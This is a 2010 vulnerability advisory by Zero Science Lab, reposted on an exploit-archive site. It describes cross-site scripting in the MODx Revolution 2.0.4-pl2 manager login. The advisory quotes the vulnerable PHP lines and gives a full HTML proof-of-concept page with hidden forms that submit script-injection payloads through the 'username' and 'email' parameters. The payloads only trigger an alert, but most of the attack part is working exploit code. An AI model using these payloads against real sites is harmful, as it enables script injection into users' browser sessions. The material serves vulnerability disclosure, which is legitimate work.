首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability
来源:liquidworm gmail com 作者:LiquidWorm 发布时间:2010-12-08  
<!--

Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability


Vendor: MODx, LLC.
Product web page: http://www.modxcms.com
Affected version: 2.0.4-pl2 (public launch 2)

Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely
with custom code and helps you build sites faster and maintain them with ease. With Revolution
you'll leverage the best things to come around since MVC and Active Record.

Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to
the "username" and "email" parameters via POST method in login.php script at the manager
login interface. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.


#############################################################
-------------------------------------------------------------
/var/html/www/manager/controllers/default/security/login.php:
-------------------------------------------------------------

25:   /* handle login */
26:   if (!empty($_POST['login'])) {
27:       $validated = true;
28:
29:       $user = $modx->getObject('modUser',array(
30:           'username' => $_POST['username'],
31:       ));

...

71:   } else if (!empty($_POST['forgotlogin'])) {
72:       $c = $modx->newQuery('modUser');
73:       $c->select(array('modUser.*','Profile.email','Profile.fullname'));
74:       $c->innerJoin('modUserProfile','Profile');
75:       $c->where(array(
76:           'Profile.email' => $_POST['email'],
77:       ));

-------------------------------------------------------------


Tested on: Fedora 10 (Cambridge)
            Apache 2.2.14
            PHP 5.2.10
            MySQL 5.0.88

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                              liquidworm gmail com
                              Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2010-4982
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php
Vendor Advisory URL: http://bugs.modx.com/issues/2918

05.12.2010


PoC:

-->


<html>
<head>

<title>MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script</title>
<link rel="Shortcut Icon" href="http://www.zeroscience.mk/favicon.ico" type="image/x-icon">

</head>

<body background="http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg">

<br /><br /><center><font color="gray">
<h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></h3>
</font></center>

<script type="text/javascript">

function zsl_user()
{
  document.forms["modx-login-form"].submit();
}

function zsl_mail()
{
  document.forms["modx-fl-form"].submit();
}

</script>

<div id="The Form Of The Ninja" style="visibility:hidden">

<form
action       = "http://example.com/manager/"
id           = "modx-login-form"
enctype      = "application/x-www-form-urlencoded"
name         = "hack"
method       = "post"
>

<input
type         = "hidden"
name         = "login_context"
value        = "mgr"
/>

<input
type         = "hidden"
name         = "modahsh"
value        = ""
/>

<input
type         = "hidden"
name         = "returnUrl"
value        = "/manager/"
/>

<input
type         = "text"
id           = "modx-login-username"
name         = "username"
tabindex     = "1"
autocomplete = "on"
class        = "x-form-text x-form-field"
value        = '"><script>alert("username param XSSed!")</script>'
/>

<input
type         = "password"
id           = "modx-login-password"
name         = "password"
tabindex     = "2"
autocomplete = "on"
class        = "x-form-text x-form-field"
/>

<input
type         = "checkbox"
id           = "modx-login-rememberme"
name         = "rememberme"
tabindex     = "3"
autocomplete = "on"
checked      = "checked"
class        = "x-form-checkbox x-form-field"
value        = "1"
/>

<input
type         = "hidden"
name         = "login"
value        = "1"
/>

</div>

<br /><br />
<a href="javascript: zsl_user();" style="text-decoration:none"><b>
<font color="red"><center><h3>1. Exploit "username" parameter!
<h3></font></b></a></center></form>

<div id="The Form Of The 2nd Ninja" style="visibility:hidden">

<form
action       = "http://example.com/manager/"
id           = "modx-fl-form"
enctype      = "application/x-www-form-urlencoded"
name         = "hack"
method       = "post"
>

<input
type         = "text"
id           = "modx-login-email"
name         = "email"
class        = "x-form-text x-form-field"
value        = '"><script>alert("email param XSSed!")</script>"'
/>

</div>

<a href="javascript: zsl_mail();" style="text-decoration:none"><b>
<font color="red"><center><h3>2. Exploit "email" parameter!
<h3></font></b></a></center></form>

</body>
</html>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Winamp 5.6 Arbitrary Code Exec
·GNU inetutils 1.8-1 FTP Client
·Internet Explorer 8 CSS Parser
·Linux Kernel <= 2.6.37 Local P
·Freefloat FTP Server Buffer Ov
·Freefloat FTP Server v1.00 Rem
·RomPager 4.07 Denial Of Servic
·Flash Player (Flash6.ocx) Allo
·AVG Internet Security 2011 Saf
·Abtp Portal Project 0.1.0 LFI
·Winzip 15.0 WZFLDVW.OCX IconIn
·AJ Matrix DNA SQL INJECTION
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved